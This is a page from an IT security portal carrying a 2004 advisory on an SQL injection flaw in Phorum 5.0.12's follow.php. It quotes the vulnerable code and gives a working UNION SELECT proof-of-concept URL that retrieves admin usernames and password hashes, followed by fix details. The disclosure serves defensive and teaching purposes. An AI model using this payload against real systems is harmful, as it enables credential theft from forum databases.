Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
October 26, 2014
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: phenoms
New Today: 0
New Yesterday: 0
Overall: 8954

People Online:
Visitors: 154
Members: 0
Total: 154
milw0rm
·[web applications] - Wordpress InfusionSoft Upload Exploit
·[remote exploits] - Rejetto HttpFileServer Remote Command Execution Exploit
·[remote exploits] - F5 iControl Remote Root Command Execution Exploit
·[web applications] - Nessus Web UI 2.3.3 Cross Site Scripting Vulnerability
·[web applications] - WordPress Backup plugin Ready! Arbitrary File Download Vulnerability
·[local exploits] - Asx to Mp3 2.7.5 - Stack Overflow Exploit
·[remote exploits] - XAMPP 1.8.x Multiple Vulnerabilities
·[web applications] - ZyXEL SBG-3300 Security Gateway Denial Of Service Vulnerability
·[web applications] - ZyXEL SBG-3300 Security Gateway Cross Site Scripting Vulnerability
·[remote exploits] - Ultra Electronics SSL VPN 7.2.0.19 / 7.4.0.7 SQL Injection / Directory Creation

read more...
PacketStorm News
·HP Security Bulletin HPSBGN03108
·HP Security Bulletin HPSBMU03118 2
·Ubuntu Security Notice USN-2371-1
·Ubuntu Security Notice USN-2370-1
·SAP Business Warehouse Missing Authorization Check
·SAP HANA Web-based Development Workbench Code Injection
·SAP BusinessObjects Persistent Cross Site Scripting
·SAP Business Objects Information Disclosure Via CORBA
·SAP HANA Reflective Cross Site Scripting
·SAP Business Objects Denial Of Service Via CORBA

read more...
[waraxe-2004-SA#037] - Sql injection bug in Phorum 5.0.12





Author: Janek Vind "waraxe"
Date: 11. November 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=37


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Phorum is a web based message board written in PHP. Phorum is designed with
high-availability and visitor ease of use in mind. Features such as mailing
list integration, easy customization and simple installation make Phorum
a powerful add-in to any website.

Homepage: http://phorum.org/


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Sql injection bug, discussed here, is present in all Phorum 5.0.x versions,
up to and including 5.0.12 . It is fixed in new Phorum version - 5.0.13 .
First of all - user must be logged in to successful exploit.
Well, let's start with looking @ source code of the "follow.php", line 37:

---------------[ original code ]--------------------

if(isset($PHORUM["args"][1])){
$thread=$PHORUM["args"][1];
} elseif(isset($_POST["thread"])){
$thread=$_POST["thread"];
}

if(empty($thread)) {
phorum_redirect_by_url(phorum_get_url(PHORUM_LIST_URL));
exit();
}

$message=phorum_db_get_message($thread);

---------------[/original code ]---------------------

So unsanitaized user-submitted variable from POST request will be delivered
to function "phorum_db_get_message($thread)". Even more, "if/elseif" construction
here is WITHOUT ending "else"... So if '$PHORUM["args"][1]' is not set and
'$_POST["thread"]' is also not set, then variable "$thread" can be victim of the
poisoning through $_GET or $_COOKIE arrays.
Now, let's trace execution flow further - "include/db/mysql.php", line 642:


---------------[ original code ]--------------------

function phorum_db_get_message($message_id){
$PHORUM = $GLOBALS["PHORUM"];

$conn = phorum_db_mysql_connect();

$forum_id_check = "";
if (!empty($PHORUM["forum_id"])){
$forum_id_check = "(forum_id = {$PHORUM['forum_id']} OR forum_id=0) and";
}

$sql = "select {$PHORUM['message_table']}.* from {$PHORUM['message_table']} where $forum_id_check message_id=$message_id";

$res = mysql_query($sql, $conn);

if ($err = mysql_error()) phorum_db_mysql_error("$err: $sql");

---------------[/original code ]---------------------

And we can see problematic sql query: "... $forum_id_check message_id=$message_id";
No quotes, so sql injection must be exist. Let's try to provoke some error messages.
We issue GET request like this:

http://localhost/phorum5012/follow.php?forum_id=1&,f00=bar,1=waraxe

... and there is nice error popping up:

"Unknown column 'waraxe' in 'where clause': select phorum_messages.* from phorum_messages where
(forum_id = 1 OR forum_id=0) and message_id=waraxe"
Same error message appears with using another method:

http://localhost/phorum5012/follow.php?forum_id=1&thread=waraxe

Further exploiting depends on mysql server version. If it's 4.x and supports
UNION functionality, then arbitrary information from database can be retrieved by any
currently logged in user, including unprivileged one. Proof of concept:

----------------[ real life exploit ]---------------

http://localhost/phorum5012/follow.php?forum_id=1&,f00=bar,1=-99%20UNION%20ALL%20SELECT%201%2c1%2c1%2c1%2c1%2cCONCAT(username%2c%27|%27%2cpassword)%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%20FROM%20phorum_users%20WHERE%20admin=1

----------------[/real life exploit ]---------------

... and you can see admin's uername and password's md5 hash.


How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vendor contacted: 10. November 2004
Vendor response: 10. November 2004

New Phorum version 5.0.13 is available at http://phorum.org/downloads.php
and has many security improvements, including fix against this sql injection bug.

For discussion, help requests, etc - http://www.waraxe.us/forums.html

See ya there!


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to Raido Kerna, icenix and slimjim100!
Tervitused - Heintz ja Maku!

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.waraxe.us/

---------------------------------- [ EOF ] ------------------------------------









Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2005-01-06 (6224 reads)

[ Go Back ]
Top members by posts
waraxe  waraxe - 2407
vince213333  vince213333 - 736
pexli  pexli - 665
Mullog  Mullog - 539
demon  demon - 485
shai-tan  shai-tan - 477
LINUX  LINUX - 404
Cyko  Cyko - 375
tsabitah  tsabitah - 328
y3dips  y3dips - 281
SecurityFocus
·Vuln: Apache Xalan-Java Library CVE-2014-0107 Security Bypass Vulnerability
·Vuln: Xen CVE-2014-3968 Denial of Service Vulnerability
·Vuln: Xen '/hvm/hvm.c' Remote Denial of Service Vulnerability
·Vuln: Xen 'HVM MSI injection' CVE-2014-3967 Denial of Service Vulnerability
·Bugtraq: [security bulletin] HPSBMU03110 rev.1 - HP Sprinter, Remote Execution of Code
·Bugtraq: [security bulletin] HPSBMU03127 rev.1 - HP Operations Manager for UNIX, Remote Code Execution
·Bugtraq: [SECURITY] [DSA 3048-1] apt security update
·Bugtraq: Cisco Security Advisory: Multiple Vulnerabilities in Cisco ASA Software
·More rss feeds from SecurityFocus

read more...
alexa



Hard drive recovery - Game Cheats - Book Reviews - Cisco VPN error 412
Harry Potter - Book Reviews - Old Science Books Online - Biographies Online Database
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2013 Janek Vind "waraxe"
Page Generation: 0.073 Seconds